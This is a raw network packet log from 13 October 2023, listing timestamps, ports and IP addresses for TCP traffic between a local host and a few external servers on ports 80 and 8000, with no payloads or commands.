Oct 13, 2023 16:06:20.778441906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778474092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778556108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778595924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778654099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778726101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778764009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778793097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778831959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778862000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778898954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778935909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778974056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779006004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779043913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779073954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779115915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779197931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779231071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779239893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779304028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779351950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779362917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779406071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779453039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779478073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779515982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779546976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779612064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779649973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779668093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779788971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779841900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.779882908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.779963017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.780051947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.780107975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.786241055 CEST	80	49800	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:20.786576986 CEST	80	49799	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:20.786655903 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.786669970 CEST	49800	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.832062960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.849761009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.905601025 CEST	49800	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.973447084 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.973931074 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974028111 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974028111 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974067926 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974145889 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974215031 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974253893 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974330902 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974405050 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974451065 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974468946 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974507093 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974530935 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974596024 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.974632978 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.974658012 CEST	8000	49794	49.12.118.151	192.168.2.4
Oct 13, 2023 16:06:20.976115942 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:21.051182032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051219940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051263094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.051286936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051379919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051456928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051506996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.051547050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.051599979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.051661968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.052345991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.052444935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.052498102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.052700996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.052844048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.052910089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.053704977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.053759098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.053803921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.053879976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.053921938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.053998947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054079056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054122925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.054210901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054261923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054337025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.054373980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054461002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054541111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.054583073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.054603100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.055069923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.055155993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.055206060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.055422068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.055860996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.055958986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056021929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056036949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.056116104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056162119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.056184053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056237936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056286097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056332111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.056384087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056463957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056526899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.056598902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.056638956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.056704998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.057123899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.057343960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.057394028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.057565928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.057610989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.057638884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.058037043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.058089018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.058114052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.058157921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.058218002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.058238983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.059453011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059519053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059571028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.059609890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059658051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.059735060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059828043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059884071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.059911013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.059978962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.060020924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.060322046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.060826063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.060906887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.060960054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.061206102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061296940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061343908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.061417103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061455965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.061579943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061676025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061718941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.061755896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061881065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.061923027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.062315941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.062378883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.062489033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.062526941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.062869072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.062967062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.063020945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.063043118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.063116074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.063182116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.063183069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.063220978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.063960075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.063976049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.064018965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.064662933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.064919949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.064974070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.065684080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.065833092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.065887928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.065913916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.065963984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.066009998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.066034079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.066359997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.066457033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.066505909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.066627979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067015886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067065001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.067120075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067167044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.067224979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067295074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067358971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.067385912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067466021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.067507982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.067559958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068051100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068111897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.068212986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068341970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068413973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068485975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.068490028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068721056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068768978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.068856001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.068897963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.068944931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.069191933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.069271088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.069803953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.069895029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.069946051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.069972038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070035934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070079088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.070116043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070291042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070408106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.070481062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070897102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070945024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.070952892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.071048021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.071095943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.071135998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.071872950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.071937084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.071986914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.072227955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072290897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072335958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.072340965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072407961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072454929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.072742939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072801113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.072844028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072896957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.072966099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.073081970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073180914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073227882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.073465109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073496103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073554039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.073668003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073775053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073843002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.073885918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.074124098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.074173927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.074220896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.074285984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.074328899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.074356079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.074551105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.074965954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075012922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075040102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075131893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075166941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075176001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075242996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075284958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075324059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075337887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075385094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075752974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075802088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075834990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.075839043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075903893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.075978041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.076018095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.076055050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.076306105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.076409101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.076582909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077004910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077049971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077064037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077141047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077183962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077200890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077239037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077250957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077312946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077359915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077361107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077610970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077677965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077685118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077709913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077760935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077775002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077791929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.077856064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.077896118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.078188896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.078522921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.078707933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.078782082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.078798056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.078891039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.078933001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.078958035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.079015970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.079058886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.080761909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.080811977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.080827951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.080985069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.080997944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081048965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081087112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081127882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081152916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081171989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081214905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081291914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081332922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081332922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081455946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081501961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081520081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081557035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081803083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081892967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.081938028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.081964016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082015038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082055092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.082114935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082165003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.082263947 CEST	80	49762	91.215.85.17	192.168.2.4
